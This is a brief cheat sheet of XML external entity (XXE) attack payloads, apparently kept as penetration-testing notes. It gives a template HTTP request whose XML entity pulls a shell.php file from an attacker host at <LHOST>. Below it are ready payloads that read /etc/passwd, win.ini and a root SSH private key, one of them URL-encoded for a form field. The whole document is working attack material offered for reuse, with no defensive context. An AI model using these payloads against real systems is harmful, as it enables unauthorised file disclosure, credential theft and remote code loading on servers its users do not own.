XXE

Skeleton Payload Request

GET / HTTP/1.1
Host: <RHOST>:<RPORT>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 136

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://<LHOST>:80/shell.php" >]>
<foo>&xxe;</foo>

Payloads

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:///etc/passwd'> ]>
 <stockCheck><productId>&passwd;</productId><storeId>1</storeId></stockCheck>

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><order><quantity>3</quantity><item>&test;</item><address>17th Estate, CA</address></order>

username=%26username%3b&version=1.0.0--><!DOCTYPE+username+[+<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!--